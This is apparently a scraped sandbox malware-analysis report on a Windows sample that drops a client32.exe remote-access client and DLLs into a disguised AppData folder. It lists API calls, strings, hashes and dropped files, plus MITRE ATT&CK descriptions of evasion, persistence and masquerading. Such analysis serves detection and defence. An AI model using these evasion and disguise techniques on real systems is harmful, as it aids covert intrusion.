Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastLoadMessageProcessString
String ID: #%d$..\ctl32\util.cpp$i < _tsizeof (buf)
API String ID: 1985783259-2296142801
Opcode ID: 50f03ae9888073d648264a02d0f2898704c8c145e373352b4e215a8d93f9feb0
Instruction ID: f51f52dcbd712469e4e57ed30d3ae6ecd606de78ecfb21ce2ea79b628c9a40ce
Opcode Fuzzy Hash: 50f03ae9888073d648264a02d0f2898704c8c145e373352b4e215a8d93f9feb0
Instruction Fuzzy Hash: 0B1108FAD012396BD710DAA5DD80FEAF37C9B44B18F004165FB09F7141E630AA01C7A5

Function 11031200 Relevance: 7.6, APIs: 1, Strings: 4, Instructions: 78COMMON

Download Yara Rule

APIs

wsprintfA.USER32 ref: 110312B6

Part of subcall function 110290C0: GetLastError.KERNEL32(?,00000000,?), ref: 110290DC
Part of subcall function 110290C0: wsprintfA.USER32 ref: 11029127
Part of subcall function 110290C0: MessageBoxA.USER32(00000000,?,Client32,00000000), ref: 11029163
Part of subcall function 110290C0: ExitProcess.KERNEL32 ref: 11029179

Strings

%s%s.bin, xrefs: 110312B0
m_pDoInv == NULL, xrefs: 11031233
468325, xrefs: 11031297
clientinv.cpp, xrefs: 1103122E

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: wsprintf$ErrorExitLastMessageProcess
String ID: %s%s.bin$468325$clientinv.cpp$m_pDoInv == NULL
API String ID: 4180936305-3365254120
Opcode ID: 0600f11bd2072c8e9e1e84ca6c39a1e608bde180830712b07c531cb0d481db3a
Instruction ID: 2341575681f6e1d693b2af78dd19dca744ecd147650d17c5e1ce5a0d9c930bd8
Opcode Fuzzy Hash: 0600f11bd2072c8e9e1e84ca6c39a1e608bde180830712b07c531cb0d481db3a
Instruction Fuzzy Hash: 78218EB5E00705AFD710DF65DC80BABB7E4EB89718F10856EF825D7681EA34A8108B55

Function 110151E0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 18fileCOMMON

Download Yara Rule

APIs

CreateFileA.KERNEL32(\\.\NSWFPDrv,80000000,00000000,00000000,00000003,40000000,00000000,00000001,1102E966,MiniDumpType,000000FF,00000000,00000000,?,?,View), ref: 110151F7
CloseHandle.KERNEL32(00000000,?,?,View,Client,Bridge), ref: 11015208

Strings

\\.\NSWFPDrv, xrefs: 110151F2

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: CloseCreateFileHandle
String ID: \\.\NSWFPDrv
API String ID: 3498533004-85019792
Opcode ID: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction ID: 8afacd648940fbcf920c8f513ecddd5490900b3845592452e47c7361a4afad73
Opcode Fuzzy Hash: 58fe6af3b299a8729e671f8465e60fa738919445efc771f3e1e6d14fb593c1fa
Instruction Fuzzy Hash: FFD0C971A420347AF231196AAC4CFCBAD0DDB427B5F210260FA3DE51C4C210489182F1

Function 11015190 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 9libraryCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32(nslsp.dll,00000000,1102E930,MiniDumpType,000000FF,00000000,00000000,?,?,View,Client,Bridge), ref: 1101519E

Strings

nslsp.dll, xrefs: 11015193

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: LibraryLoad
String ID: nslsp.dll
API String ID: 1029625771-3933918195
Opcode ID: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction ID: 0f85fd80076d2b40817f9a73906c67b3183ec9e0361306ecdf77c2e20fb6d995
Opcode Fuzzy Hash: 3b59623a909b284854b1b3af36d82a4f2bbb95fba0a7c60f0ac8dd87b39ed554
Instruction Fuzzy Hash: 9AC092B57022368FE3645F98AC585C6FBE4EB09612351886EE5B6D3704E6F09C408BE2

Function 1105F240 Relevance: 3.2, APIs: 2, Instructions: 169COMMON

Download Yara Rule

APIs

Part of subcall function 1110C4B0: _malloc.LIBCMT ref: 1110C4C9
Part of subcall function 1110C4B0: wsprintfA.USER32 ref: 1110C4E4
Part of subcall function 1110C4B0: _memset.LIBCMT ref: 1110C507

std::exception::exception.LIBCMT ref: 1105F2E3
__CxxThrowException@8.LIBCMT ref: 1105F2F8

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: Exception@8Throw_malloc_memsetstd::exception::exceptionwsprintf
String ID:
API String ID: 1338273076-0
Opcode ID: 0e2708137e7841a047f0bf711e132c29747f48898e4f83a7bcb8bcbbdfe207f3
Instruction ID: 27c1c6abb081d98236a55b9714def59ee0ae50ea33d11c9255898d7f6f2dc0b9
Opcode Fuzzy Hash: 0e2708137e7841a047f0bf711e132c29747f48898e4f83a7bcb8bcbbdfe207f3
Instruction Fuzzy Hash: CD518DB6A00249AFDB50CF58D880E9AF7F9EB88214F04C56EEC599B341D775F901C7A1

Function 11141240 Relevance: 2.6, APIs: 2, Instructions: 58sleepCOMMON

Download Yara Rule

APIs

Part of subcall function 11141160: ExpandEnvironmentStringsA.KERNEL32(75A7795C,?,00000104,75A7795C), ref: 11141187

Part of subcall function 1116067B: __fsopen.LIBCMT ref: 11160688

GetLastError.KERNEL32(?,00000000,75A7795C,00000000), ref: 11141275
Sleep.KERNEL32(000000C8,?,?,?,?,?,?,00000000,75A7795C,00000000), ref: 11141285

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: EnvironmentErrorExpandLastSleepStrings__fsopen
String ID:
API String ID: 3768737497-0
Opcode ID: 095fbb323597ed630c2ce92ee5dc822cb6d747f27c5a336ad123bdd945b58385
Instruction ID: 103134ba4653f8fc15402f07188d85fc6b934bc741d6c344a8ba55e5f3ec2e88
Opcode Fuzzy Hash: 095fbb323597ed630c2ce92ee5dc822cb6d747f27c5a336ad123bdd945b58385
Instruction Fuzzy Hash: 1A11E5B6A00215ABDB119F94C9C0E6FF378EB45A69F304165ED04D7200E775BD0287A3

Function 1113F3A0 Relevance: 1.6, APIs: 1, Instructions: 70registryCOMMONLIBRARYCODE

Download Yara Rule

APIs

RegQueryValueExA.KERNEL32(00000000,?,?,00000000,00000000,00000000,1110C55B,75A78400,?,?,111414FF,00000000,CSDVersion,00000000,00000000,?), ref: 1113F3C0

Memory Dump Source

Source File: 00000007.00000002.3304079708.0000000011001000.00000020.00000001.01000000.0000000E.sdmp, Offset: 11000000, based on PE: true

Associated: 00000007.00000002.3304051388.0000000011000000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304252601.000000001118F000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304306206.00000000111DC000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304334547.00000000111EB000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000111F1000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011257000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001127C000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011283000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.000000001128A000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011297000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112A7000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112AD000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.00000000112D9000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000007.00000002.3304359735.0000000011325000.00000002.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_7_2_11000000_client32.jbxd

Yara matches

Similarity

API ID: QueryValue
String ID:
API String ID: 3660427363-0
Opcode ID: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction ID: 5fbfdb2e62506a22be8d6102f6026bab3dbcb22e3eaadfb442edbe5e81d15758
Opcode Fuzzy Hash: a232fc1abe2ed2d7d844c38d6296ee0920c29362aec6298465a62cb418f01d82
Instruction Fuzzy Hash: C711B4717242475BE7118D14E590AAEFB6AEFC523EF20812AE59647908C2319443C763

Description:	Adversaries may obtain and abuse credentials of existing accounts as a means of gaining Initial Access, Persistence, Privilege Escalation, or Defense Evasion. Compromised credentials may be used to bypass access controls placed on various resources on systems within the network and may even be used for persistent access to remote systems and externally available services, such as VPNs, Outlook Web Access, network devices, and remote desktop.Compromised credentials may also grant an adversary increased privilege to specific systems or access to restricted areas of the network. Adversaries may choose not to use malware or tools in conjunction with the legitimate access those credentials provide to make it harder to detect their presence.
Tactics:	Defense Evasion, Initial Access, Persistence, Privilege Escalation
Data Sources:	Logon Session: Logon Session Creation, Logon Session: Logon Session Metadata, User Account: User Account Authentication
Platforms:	Azure AD, Containers, Google Workspace, IaaS, Linux, macOS, Network, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Container: Container Creation, File: File Creation, File: File Modification, Process: Process Creation, Scheduled Job: Scheduled Job Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse the Windows service control manager to execute malicious commands or payloads. The Windows service control manager ( `services.exe` ) is an interface to manage and manipulate services.The service control manager is accessible to users via GUI components as well as system utilities such as `sc.exe` and Net .
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Traffic Flow, Process: Process Creation, Service: Service Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may create or modify Windows services to repeatedly execute malicious payloads as part of persistence. When Windows boots up, it starts programs or applications called services that perform background system functions.Windows service configuration information, including the file path to the service's executable or recovery programs/commands, is stored in the Windows Registry.
Tactics:	Persistence, Privilege Escalation
Data Sources:	Command: Command Execution, Driver: Driver Load, File: File Metadata, Network Traffic: Network Traffic Flow, Process: OS API Execution, Process: Process Creation, Service: Service Creation, Service: Service Modification, Windows Registry: Windows Registry Key Creation, Windows Registry: Windows Registry Key Modification
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in an attempt to elevate privileges. Exploitation of a software vulnerability occurs when an adversary takes advantage of a programming error in a program, service, or within the operating system software or kernel itself to execute adversary-controlled code. Security constructs such as permission levels will often hinder access to information and use of certain techniques, so adversaries will likely need to perform privilege escalation to include use of software exploitation to circumvent those restrictions.
Tactics:	Privilege Escalation
Data Sources:	Driver: Driver Load, Process: Process Creation
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	Active Directory: Active Directory Object Modification, Command: Command Execution, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, User Account: User Account Metadata
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify and/or disable security tools to avoid possible detection of their malware/tools and activities. This may take many forms, such as killing security software processes or services, modifying / deleting Registry keys or configuration files so that tools do not operate properly, or other methods to interfere with security tools scanning or reporting information. Adversaries may also disable updates to prevent the latest security patches from reaching tools on victim systems.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, Driver: Driver Load, Process: Process Creation, Process: Process Termination, Sensor Health: Host Status, Service: Service Metadata, Windows Registry: Windows Registry Key Deletion, Windows Registry: Windows Registry Key Modification
Platforms:	Containers, IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File: File Modification, Process: Process Creation, Script: Script Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify file time attributes to hide new or changes to existing files. Timestomping is a technique that modifies the timestamps of a file (the modify, access, create, and change times), often to mimic files that are in the same folder. This is done, for example, on files that have been modified or created by the adversary so that they do not appear conspicuous to forensic investigators or file analysis tools.
Tactics:	Defense Evasion
Data Sources:	File: File Metadata, File: File Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may set files and directories to be hidden to evade detection mechanisms. To prevent normal users from accidentally changing special files on a system, most operating systems have the concept of a ‘hidden’ file. These files don’t show up when a user browses the file system with a GUI or when using normal commands on the command line. Users must explicitly ask to show the hidden files either via a series of Graphical User Interface (GUI) prompts or with command line switches ( `dir /a` for Windows and `ls –a` for Linux and macOS).
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use methods of capturing user input to obtain credentials or collect information. During normal system usage, users often provide credentials to various different locations, such as login pages/portals or system dialog boxes. Input capture mechanisms may be transparent to the user (e.g. Credential API Hooking ) or rely on deceiving the user into providing input into what they believe to be a genuine service (e.g. Web Portal Capture ).
Tactics:	Collection, Credential Access
Data Sources:	Driver: Driver Load, File: File Modification, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Windows Registry: Windows Registry Key Modification
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Network, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report Jjv9ha2GKn.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Yara Signatures

Dropped Files

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Cryptography

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Local\DNScache\AudioCapture.dll

C:\Users\user\AppData\Local\DNScache\HTCTL32.DLL

C:\Users\user\AppData\Local\DNScache\NSM.LIC

C:\Users\user\AppData\Local\DNScache\PCICHEK.DLL

C:\Users\user\AppData\Local\DNScache\PCICL32.DLL

C:\Users\user\AppData\Local\DNScache\TCCTL32.DLL

C:\Users\user\AppData\Local\DNScache\client32.exe

C:\Users\user\AppData\Local\DNScache\client32.ini

C:\Users\user\AppData\Local\DNScache\msauserext.dll

C:\Users\user\AppData\Local\DNScache\mscat32.dll

C:\Users\user\AppData\Local\DNScache\mscpx32r.dLL

Windows Analysis Report
Jjv9ha2GKn.exe

Function 07AFAA24 Relevance: 11.0, Strings: 8, Instructions: 957
COMMON

Description:	Adversaries may attempt to get a listing of valid accounts, usernames, or email addresses on a system or within a compromised environment. This information can help adversaries determine which accounts exist, which can aid in follow-on behavior such as brute-forcing, spear-phishing attacks, or account takeovers (e.g., Valid Accounts ).
Tactics:	Discovery
Data Sources:	Command: Command Execution, File: File Access, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

